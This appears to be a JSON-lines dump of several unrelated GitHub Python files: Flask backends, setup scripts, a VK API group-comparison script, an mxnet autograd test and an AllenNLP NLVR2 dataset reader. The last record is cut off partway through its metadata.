{"seq_id": "39607782482", "text": "import os\nimport json\nfrom lda import *\nfrom flask_cors import CORS\n\nimport openai\nfrom flask import Flask, redirect, render_template, request, url_for, jsonify\n\napp = Flask(__name__)\nCORS(app)\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\n\n@app.route(\"/\", methods=['POST'])\ndef index():\n    print(\"received request\")\n\n    # extract url from request\n    url = request.get_data().decode('utf-8')\n    print(url)\n    url = json.loads(url)\n    url = url[\"url\"]\n\n    # use LDA to get top topics\n    print(\"calling lda\")\n    topics_from_lda = generateTopics(url)\n    print(topics_from_lda)\n    print(\"done calling lda\")\n\n    # call openAI for summaries\n    pr = generate_prompt_topics(topics_from_lda, url)\n    print(pr)\n    response1 = openai.Completion.create(\n        model=\"text-davinci-003\",\n        prompt=pr,\n        temperature=0.1,\n        max_tokens=3800\n    )\n\n    # get related links by calling openAI\n    pr = generate_prompt_related_links(url)\n    print(pr)\n    response2 = openai.Completion.create(\n        model=\"text-davinci-003\",\n        prompt=pr,\n        temperature=0.1,\n        max_tokens=3800\n    )\n\n    response = {\n        \"result\": response1.choices[0].text + \"\\n\" + response2.choices[0].text\n\n    }\n    print(response)\n    return jsonify(response), 200\n\ndef generate_prompt_related_links(url):\n    return \"\"\"Generate related links and resources list for the content in this webpage: {}\n\"\"\".format(url)\n\ndef generate_prompt_topics(words, url):\n    return \"\"\"Generate top 5 topics (topic name as a string) from this webpage: {}, where each topic is generated from the keywords present in this list : {}. Each entry in this list contains the top words for each topic. Also generate summaries for each topic in the webpage\n\"\"\".format(url, words)\n\ndef generate_prompt(link):\n    return \"\"\"Generate top topics in this web page along with their brief summaries: {}\n\"\"\".format(link)\n\nif __name__ == \"__main__\":\n    print(\"started\")\n    app.run(host='0.0.0.0',port=8000)\n", "repo_name": "bbelide2/CS510-Topic-Summary-Generator", "sub_path": "backend/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 10, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.get_data", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "call"}, {"api_name": "openai.Completion.create", "line_number": 33, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 33, "usage_type": "attribute"}, {"api_name": "openai.Completion.create", "line_number": 43, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "33080018637", "text": "import logging\nfrom time import gmtime\n\nfrom flask import Flask, Blueprint, request\n\nlogging.basicConfig(\n    format=\"[%(asctime)s][%(levelname)s][%(name)s.%(funcName)s():%(lineno)s] %(message)s\",\n    datefmt=\"%Y-%m-%dT%H:%M:%SZ\",\n    level=logging.INFO)\nlogging.Formatter.converter = gmtime\n\nlog = logging.getLogger(__name__)\n\nbp = Blueprint('callback', __name__)\n\n\n@bp.route('/callback', methods=['GET', 'PUT'])\ndef callback():\n    log.info(f'{request.method} called on callback service')\n    if request.method == 'PUT':\n\n        data = request.data.decode('utf-8')\n\n        # This is a little hack to allow us to test CPAP callbacks from within the DMZ by\n        # running this service on the same server as CPAP.\n        _send_test_msg(data)\n\n        log.info(f'body: {data}')\n        return request.data\n    if request.method == 'GET':\n        return 'Callback server is running.'\n\n\ndef _send_test_msg(data):\n    ''' Send a test message to a MS Teams channel.\n\n    Requires CPAP_TEST_TEAMS_URL environment variable be set to a valid Teams webhook url.\n    '''\n    # Wrap everything in a try block so it is ignored if running without\n    # the Teams URL configured or pymsteams installed.\n    try:\n        import os\n        import pymsteams\n        url = os.environ['CPAP_TEST_TEAMS_URL']\n        card = pymsteams.connectorcard(url)\n        card.title(\"CPAP Callback Test\")\n        card.text(data)\n        card.send()\n    except:\n        pass\n\n\ndef main():\n    app = Flask(__name__)\n    app.register_blueprint(bp)\n    app.run(host='0.0.0.0')\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "bitbytebitco/radpc_scale", "sub_path": "cpap/test/payload_swic/callback_server.py", "file_name": "callback_server.py", "file_ext": "py", "file_size_in_byte": 1587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.basicConfig", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 10, "usage_type": "attribute"}, {"api_name": "time.gmtime", "line_number": 10, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.Blueprint", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.data", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pymsteams.connectorcard", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "73707160551", "text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport os\n\nimport setuptools\n\nfrom trac_captcha.lib.distribution_helpers import information_from_file\n\n\ndef add_simplejson_if_necessary(a_list_or_dict):\n    try:\n        import json\n    except ImportError:\n        if hasattr(a_list_or_dict, 'append'):\n            a_list_or_dict.append('simplejson')\n        else:\n            a_list_or_dict['simplejson'] = ['simplejson']\n\ntests_require = []\nadd_simplejson_if_necessary(tests_require)\n\nextras_require = {'Babel': ['Babel']}\nadd_simplejson_if_necessary(extras_require)\n\nrelease_filename = os.path.join('trac_captcha', 'release.py')\nexternally_defined_parameters= information_from_file(release_filename)\n\nsetuptools.setup(\n    install_requires=['genshi', 'trac >= 0.11'],\n    extras_require=extras_require,\n    tests_require=['nose', 'BeautifulSoup', 'Babel', 'TracDevPlatformPlugin'] + tests_require,\n    \n    # simple_super is not zip_safe\n    zip_safe=False,\n    packages=setuptools.find_packages(exclude=['tests']),\n    classifiers = (\n            'Development Status :: 4 - Beta',\n            'Framework :: Trac',\n            'Intended Audience :: System Administrators',\n            'License :: OSI Approved :: MIT License',\n            'Operating System :: OS Independent',\n            'Programming Language :: Python',\n            'Topic :: Software Development :: Libraries :: Python Modules',\n    ),\n    entry_points = {\n        'trac.plugins': [\n            'trac_captcha = trac_captcha',\n            'trac_recaptcha = trac_recaptcha',\n        ]\n    },\n    test_suite = 'nose.collector',\n    **externally_defined_parameters\n)\n\n\n", "repo_name": "FelixSchwarz/trac-captcha", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1634, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "trac_captcha.lib.distribution_helpers.information_from_file", "line_number": 27, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 29, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "42647296775", "text": "import requests\nfrom time import sleep\nimport os\nimport sys\nimport json\n\n\nTOO_MANY_REQUESTS = 6\npath_for_config = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config.json')\npath_for_group = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'groups.json')\n\n\ndef do_request(url, parameters):\n    base_params = {\n        'v': VERSION,\n        'access_token': TOKEN,\n    }\n    base_params.update(parameters)\n    while True:\n        response = requests.get(url, base_params)\n        print('.', end='')\n        try:\n            response.raise_for_status()\n        except requests.exceptions.HTTPError as err:\n            print('It is not a 200 error code: ' + str(err))\n            sys.exit()\n        data = response.json()\n        if 'error' in data:\n            if int(data['error']['error_code']) == TOO_MANY_REQUESTS:\n                sleep(0.4)\n                continue\n            else:\n                result = None\n                break\n        else:\n            result = data['response']\n            break\n    print(' ')\n    return result\n\n\ndef get_friends_list():\n    params = {\n        'user_id': VKID,\n    }\n    friends_ids = do_request('https://api.vk.com/method/friends.get', params)['items']\n    return friends_ids\n\n\ndef get_group_by_friend_list(friend_list):\n    group_idents = []\n    for friend in friend_list:\n        params = {\n            'user_id': friend,\n        }\n        result = do_request('https://api.vk.com/method/groups.get', params)\n        if result is None:\n            continue\n        else:\n            group_idents.extend(result['items'])\n    group_idents = set(group_idents)\n    return group_idents\n\n\ndef unique_groups_detect(friends_groups):\n    params = {\n        'user_id': VKID,\n    }\n    users_groups = do_request('https://api.vk.com/method/groups.get', params)['items']\n    users_groups = set(users_groups)\n    unique_groups = users_groups - friends_groups\n    unique_groups = list(unique_groups)\n    return unique_groups\n\n\ndef get_unique_group_data(list_of_groups):\n    result = ','.join([str(group) for group in list_of_groups])\n    params = {\n        'fields': 'members_count',\n        'group_ids': result,\n        'extended': 1\n    }\n    list_of_group = do_request('https://api.vk.com/method/groups.getById', params)\n    list_of_group_final = []\n    for group in list_of_group:\n        dict_of_data = {'id': group['id'], 'name': group['name'], 'members_count': group['members_count']}\n        list_of_group_final.append(dict_of_data)\n    print('Количество уникальных групп пользователя {} - {}'.format(VKID, len(list_of_group_final)))\n    return list_of_group_final\n\n\ndef write_result_to_json(group_list, file_path):\n    with open(file_path, 'w') as resultfile:\n        json.dump(group_list, resultfile, ensure_ascii=False)\n\n\nwith open(path_for_config, 'r') as f:\n    config_data = json.loads(f.read())\n    TOKEN = config_data['token']\n    VKID = config_data['vkid']\n    VERSION = config_data['version']\n\nif __name__ == '__main__':\n    friend_ids = get_friends_list()\n    group_ids = get_group_by_friend_list(friend_ids)\n    group_data = unique_groups_detect(group_ids)\n    write_result_to_json(get_unique_group_data(group_data), path_for_group)\n", "repo_name": "Taras52/MyProjects", "sub_path": "Diploma/spy_games.py", "file_name": "spy_games.py", "file_ext": "py", "file_size_in_byte": 3243, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 94, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 98, "usage_type": "call"}]}
{"seq_id": "2892792932", "text": "from Flask import Flask\nfrom sqlalchemy import create_engine\nfrom models.models import *\nfrom models.models import ChlamydiaGonorrhea, CongenitalSyphilis, Base,  HepatitisBinfected \napp = Flask(__name__) \napp.secret_Key = 'somessecretekeythatonlyishouldknow'\napp.config['SQLALCHEMY_DATABASE_URL'] = 'mysql+mysqlconnector://root:course123@localhost/sti data' \nengine = create_engine(app.config['SQLALCHEMY_DATABASE_URI'], echo=True)\nBase.metadata.create_all(engine)\n@app.route('/')\ndef index():\n    return 'Hello World'\nif __name__ == '__main__':\n app.run(debug=True)", "repo_name": "lawoo9/class_project_2", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "Flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 8, "usage_type": "call"}, {"api_name": "models.models.Base.metadata.create_all", "line_number": 9, "usage_type": "call"}, {"api_name": "models.models.Base.metadata", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.models.Base", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "38298591663", "text": "from mxnet import autograd, nd\nclass Test:\n    \n    \"\"\"\n    \"\"\"\n\n    def test(self):\n        \"\"\"\n        Returns true if this set contains the specified element\n        \"\"\"\n        x = nd.arange(4).reshape((4,1))\n        x.attach_grad()\n        print(autograd.is_training())\n        with autograd.record():\n            y = 2 * nd.dot(x.T, x)\n            print(autograd.is_training())\n        y.backward()\n        assert(x.grad - 4*x).norm().asscalar() == 0\n        print(x.grad)\n        \n    def f(self, a):\n        b = a * 2\n        while b.norm().asscalar() < 1000:\n            b = b * 2\n        if b.sum().asscalar() > 0:\n            c = b\n        else:\n            c = 100 * b\n        return c\n    def test1(self):\n        a = nd.random.normal(shape=1)\n        a.attach_grad()\n        with autograd.record():\n            c = self.f(a)\n        c.backward()\n        assert(a.grad == c/a)\n    def test2(self):\n        print(dir(nd))\ns = Test()\ns.test2()              \n                \n                \n                    \n                    \n                    \n                    \n                    \n                    \n                    ", "repo_name": "yongjun310/dsl", "sub_path": "c2/Test.py", "file_name": "Test.py", "file_ext": "py", "file_size_in_byte": 1149, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mxnet.nd.arange", "line_number": 11, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 11, "usage_type": "name"}, {"api_name": "mxnet.autograd.is_training", "line_number": 13, "usage_type": "call"}, {"api_name": "mxnet.autograd", "line_number": 13, "usage_type": "name"}, {"api_name": "mxnet.autograd.record", "line_number": 14, "usage_type": "call"}, {"api_name": "mxnet.autograd", "line_number": 14, "usage_type": "name"}, {"api_name": "mxnet.nd.dot", "line_number": 15, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 15, "usage_type": "name"}, {"api_name": "mxnet.autograd.is_training", "line_number": 16, "usage_type": "call"}, {"api_name": "mxnet.autograd", "line_number": 16, "usage_type": "name"}, {"api_name": "mxnet.nd.random.normal", "line_number": 31, "usage_type": "call"}, {"api_name": "mxnet.nd.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "mxnet.nd", "line_number": 31, "usage_type": "name"}, {"api_name": "mxnet.autograd.record", "line_number": 33, "usage_type": "call"}, {"api_name": "mxnet.autograd", "line_number": 33, "usage_type": "name"}, {"api_name": "mxnet.nd", "line_number": 38, "usage_type": "argument"}]}
{"seq_id": "7647698803", "text": "import sys\nfrom setuptools import setup\n\nPY2 = sys.version_info[0] <= 2\n\nsetup(\n        name='worklogmd',\n        version=0.24,\n        author='Samuel Taylor',\n        url='https://github.com/ssaamm/worklog.md',\n        description='Text-based work habit tracker',\n        license='MIT',\n        packages=['worklog', 'worklog.parsing2' if PY2 else 'worklog.parsing'],\n        install_requires=['antlr4-python2-runtime' if PY2 else 'antlr4-python3-runtime'],\n        entry_points={\n            'console_scripts': ['processWorklog = worklog.process:run',\n                                'printWorklogFunction = worklog.print_worklog_function:run'],\n        },\n)\n", "repo_name": "ssaamm/worklog.md", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.version_info", "line_number": 4, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "26834360607", "text": "import logging\nfrom os import PathLike\nfrom typing import Any, Dict, Iterable, Tuple, Union, Optional\n\n\nimport torch\nfrom torch import Tensor\n\nfrom allennlp.common.file_utils import cached_path, json_lines_from_file\nfrom allennlp.common.lazy import Lazy\nfrom allennlp.data.dataset_readers.dataset_reader import DatasetReader\nfrom allennlp.data.fields import ArrayField, LabelField, ListField, MetadataField, TextField\nfrom allennlp.data.image_loader import ImageLoader\nfrom allennlp.data.instance import Instance\nfrom allennlp.data.token_indexers import TokenIndexer\nfrom allennlp.data.tokenizers import Tokenizer\nfrom allennlp.modules.vision.grid_embedder import GridEmbedder\nfrom allennlp.modules.vision.region_detector import RegionDetector\n\nfrom allennlp_models.vision.dataset_readers.vision_reader import VisionReader\n\nlogger = logging.getLogger(__name__)\n\n\n@DatasetReader.register(\"nlvr2\")\nclass Nlvr2Reader(VisionReader):\n    \"\"\"\n    Reads the NLVR2 dataset from [http://lil.nlp.cornell.edu/nlvr/](http://lil.nlp.cornell.edu/nlvr/).\n    In this task, the model is presented with two images and a hypothesis referring to those images.\n    The task for the model is to identify whether the hypothesis is true or false.\n    Accordingly, the instances produced by this reader contain two images, featurized into the\n    fields \"box_features\" and \"box_coordinates\". In addition to that, it produces a `TextField`\n    called \"hypothesis\", and a `MetadataField` called \"identifier\". The latter contains the question\n    id from the question set.\n\n    Parameters\n    ----------\n    image_dir: `str`\n        Path to directory containing `png` image files.\n    image_loader: `ImageLoader`\n        An image loader to read the images with\n    image_featurizer: `GridEmbedder`\n        The backbone image processor (like a ResNet), whose output will be passed to the region\n        detector for finding object boxes in the image.\n    region_detector: `RegionDetector`\n        For pulling out regions of the image (both coordinates and features) that will be used by\n        downstream models.\n    feature_cache_dir: `str`, optional\n        If given, the reader will attempt to use the featurized image cache in this directory.\n        Caching the featurized images can result in big performance improvements, so it is\n        recommended to set this.\n    tokenizer: `Tokenizer`, optional, defaults to `PretrainedTransformerTokenizer(\"bert-base-uncased\")`\n    token_indexers: `Dict[str, TokenIndexer]`, optional,\n        defaults to`{\"tokens\": PretrainedTransformerIndexer(\"bert-base-uncased\")}`\n    cuda_device: `int`, optional\n        Set this to run image featurization on the given GPU. By default, image featurization runs on CPU.\n    max_instances: `int`, optional\n        If set, the reader only returns the first `max_instances` instances, and then stops.\n        This is useful for testing.\n    image_processing_batch_size: `int`\n        The number of images to process at one time while featurizing. Default is 8.\n    \"\"\"\n\n    def __init__(\n        self,\n        image_dir: Optional[Union[str, PathLike]] = None,\n        *,\n        image_loader: Optional[ImageLoader] = None,\n        image_featurizer: Optional[Lazy[GridEmbedder]] = None,\n        region_detector: Optional[Lazy[RegionDetector]] = None,\n        feature_cache_dir: Optional[Union[str, PathLike]] = None,\n        tokenizer: Optional[Tokenizer] = None,\n        token_indexers: Optional[Dict[str, TokenIndexer]] = None,\n        cuda_device: Optional[Union[int, torch.device]] = None,\n        max_instances: Optional[int] = None,\n        image_processing_batch_size: int = 8,\n        write_to_cache: bool = True,\n    ) -> None:\n        run_featurization = image_loader and image_featurizer and region_detector\n        if image_dir is None and run_featurization:\n            raise ValueError(\n                \"Because of the size of the image datasets, we don't download them automatically. \"\n                \"Please go to https://github.com/lil-lab/nlvr/tree/master/nlvr2, download the datasets you need, \"\n                \"and set the image_dir parameter to point to your download location. This dataset \"\n                \"reader does not care about the exact directory structure. It finds the images \"\n                \"wherever they are.\"\n            )\n\n        super().__init__(\n            image_dir,\n            image_loader=image_loader,\n            image_featurizer=image_featurizer,\n            region_detector=region_detector,\n            feature_cache_dir=feature_cache_dir,\n            tokenizer=tokenizer,\n            token_indexers=token_indexers,\n            cuda_device=cuda_device,\n            max_instances=max_instances,\n            image_processing_batch_size=image_processing_batch_size,\n            write_to_cache=write_to_cache,\n        )\n\n        github_url = \"https://raw.githubusercontent.com/lil-lab/nlvr/\"\n        nlvr_commit = \"68a11a766624a5b665ec7594982b8ecbedc728c7\"\n        data_dir = f\"{github_url}{nlvr_commit}/nlvr2/data\"\n        self.splits = {\n            \"dev\": f\"{data_dir}/dev.json\",\n            \"test\": f\"{data_dir}/test1.json\",\n            \"train\": f\"{data_dir}/train.json\",\n            \"balanced_dev\": f\"{data_dir}/balanced/balanced_dev.json\",\n            \"balanced_test\": f\"{data_dir}/balanced/balanced_test1.json\",\n            \"unbalanced_dev\": f\"{data_dir}/balanced/unbalanced_dev.json\",\n            \"unbalanced_test\": f\"{data_dir}/balanced/unbalanced_test1.json\",\n        }\n\n    def _read(self, split_or_filename: str):\n        filename = self.splits.get(split_or_filename, split_or_filename)\n\n        json_file_path = cached_path(filename)\n\n        blobs = []\n        json_blob: Dict[str, Any]\n        for json_blob in json_lines_from_file(json_file_path):\n            blobs.append(json_blob)\n\n        blob_dicts = list(self.shard_iterable(blobs))\n        processed_images1: Iterable[\n            Optional[Tuple[Tensor, Tensor, Optional[Tensor], Optional[Tensor]]]\n        ]\n        processed_images2: Iterable[\n            Optional[Tuple[Tensor, Tensor, Optional[Tensor], Optional[Tensor]]]\n        ]\n        if self.produce_featurized_images:\n            # It would be much easier to just process one image at a time, but it's faster to process\n            # them in batches. So this code gathers up instances until it has enough to fill up a batch\n            # that needs processing, and then processes them all.\n\n            try:\n                image_paths1 = []\n                image_paths2 = []\n                for blob in blob_dicts:\n                    identifier = blob[\"identifier\"]\n                    image_name_base = identifier[: identifier.rindex(\"-\")]\n                    image_paths1.append(self.images[f\"{image_name_base}-img0.png\"])\n                    image_paths2.append(self.images[f\"{image_name_base}-img1.png\"])\n            except KeyError as e:\n                missing_id = e.args[0]\n                raise KeyError(\n                    missing_id,\n                    f\"We could not find an image with the id {missing_id}. \"\n                    \"Because of the size of the image datasets, we don't download them automatically. \"\n                    \"Please go to https://github.com/lil-lab/nlvr/tree/master/nlvr2, download the \"\n                    \"datasets you need, and set the image_dir parameter to point to your download \"\n                    \"location. This dataset reader does not care about the exact directory \"\n                    \"structure. It finds the images wherever they are.\",\n                )\n\n            processed_images1 = self._process_image_paths(image_paths1)\n            processed_images2 = self._process_image_paths(image_paths2)\n        else:\n            processed_images1 = [None for _ in range(len(blob_dicts))]\n            processed_images2 = [None for _ in range(len(blob_dicts))]\n\n        attempted_instances = 0\n        for json_blob, image1, image2 in zip(blob_dicts, processed_images1, processed_images2):\n            identifier = json_blob[\"identifier\"]\n            hypothesis = json_blob[\"sentence\"]\n            label = json_blob[\"label\"] == \"True\"\n            instance = self.text_to_instance(identifier, hypothesis, image1, image2, label)\n            if instance is not None:\n                attempted_instances += 1\n                yield instance\n        logger.info(f\"Successfully yielded {attempted_instances} instances\")\n\n    def extract_image_features(\n        self,\n        image: Union[str, Tuple[Tensor, Tensor, Optional[Tensor], Optional[Tensor]]],\n        use_cache: bool,\n    ):\n        if isinstance(image, str):\n            features, coords, _, _ = next(self._process_image_paths([image], use_cache=use_cache))\n        else:\n            features, coords, _, _ = image\n\n        return (\n            ArrayField(features),\n            ArrayField(coords),\n            ArrayField(\n                features.new_ones((features.shape[0],), dtype=torch.bool),\n                padding_value=False,\n                dtype=torch.bool,\n            ),\n        )\n\n    def text_to_instance(  # type: ignore\n        self,\n        identifier: Optional[str],\n        hypothesis: str,\n        image1: Union[str, Tuple[Tensor, Tensor, Optional[Tensor], Optional[Tensor]]],\n        image2: Union[str, Tuple[Tensor, Tensor, Optional[Tensor], Optional[Tensor]]],\n        label: Optional[bool] = None,\n        use_cache: bool = True,\n    ) -> Instance:\n        hypothesis_field = TextField(self._tokenizer.tokenize(hypothesis), None)\n        box_features1, box_coordinates1, box_mask1 = self.extract_image_features(image1, use_cache)\n        box_features2, box_coordinates2, box_mask2 = self.extract_image_features(image2, use_cache)\n\n        fields = {\n            \"hypothesis\": ListField([hypothesis_field, hypothesis_field]),\n            \"box_features\": ListField([box_features1, box_features2]),\n            \"box_coordinates\": ListField([box_coordinates1, box_coordinates2]),\n            \"box_mask\": ListField([box_mask1, box_mask2]),\n        }\n\n        if identifier is not None:\n            fields[\"identifier\"] = MetadataField(identifier)\n\n        if label is not None:\n            fields[\"label\"] = LabelField(int(label), skip_indexing=True)\n\n        return Instance(fields)\n\n    def apply_token_indexers(self, instance: Instance) -> None:\n        instance[\"hypothesis\"][0].token_indexers = self._token_indexers  # type: ignore\n        instance[\"hypothesis\"][1].token_indexers = self._token_indexers  # type: ignore\n", "repo_name": "allenai/allennlp-models", "sub_path": "allennlp_models/vision/dataset_readers/nlvr2.py", "file_name": "nlvr2.py", "file_ext": "py", "file_size_in_byte": 10490, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 508, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "allennlp_models.vision.dataset_readers.vision_reader.VisionReader", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 66, "usage_type": "name"}, {"api_name": "os.PathLike", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 68, "usage_type": "name"}, {"api_name": "allennlp.data.image_loader.ImageLoader", "line_number": 68, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 69, "usage_type": "name"}, {"api_name": "allennlp.common.lazy.Lazy", "line_number": 69, "usage_type": "name"}, {"api_name": "allennlp.modules.vision.grid_embedder.GridEmbedder", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 70, "usage_type": "name"}, {"api_name": "allennlp.common.lazy.Lazy", "line_number": 70, "usage_type": "name"}, {"api_name": "allennlp.modules.vision.region_detector.RegionDetector", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 71, "usage_type": "name"}, {"api_name": "os.PathLike", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 72, "usage_type": "name"}, {"api_name": "allennlp.data.tokenizers.Tokenizer", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 73, "usage_type": "name"}, {"api_name": "allennlp.data.token_indexers.TokenIndexer", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 74, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 75, "usage_type": "name"}, {"api_name": "allennlp.common.file_utils.cached_path", "line_number": 119, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 122, "usage_type": "name"}, {"api_name": "allennlp.common.file_utils.json_lines_from_file", "line_number": 123, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 128, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 128, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 130, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 131, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 177, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 177, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 177, "usage_type": "name"}, {"api_name": "allennlp.data.fields.ArrayField", "line_number": 186, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ArrayField", "line_number": 187, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ArrayField", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 189, "usage_type": "attribute"}, {"api_name": "torch.bool", "line_number": 191, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 197, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 200, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 201, "usage_type": "name"}, {"api_name": "allennlp.data.fields.TextField", "line_number": 204, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ListField", "line_number": 209, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ListField", "line_number": 210, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ListField", "line_number": 211, "usage_type": "call"}, {"api_name": "allennlp.data.fields.ListField", "line_number": 212, "usage_type": "call"}, {"api_name": "allennlp.data.fields.MetadataField", "line_number": 216, "usage_type": "call"}, {"api_name": "allennlp.data.fields.LabelField", "line_number": 219, "usage_type": "call"}, {"api_name": "allennlp.data.instance.Instance", "line_number": 221, "usage_type": "call"}, {"api_name": "allennlp.data.instance.Instance", "line_number": 203, "usage_type": "name"}, {"api_name": "allennlp.data.instance.Instance", 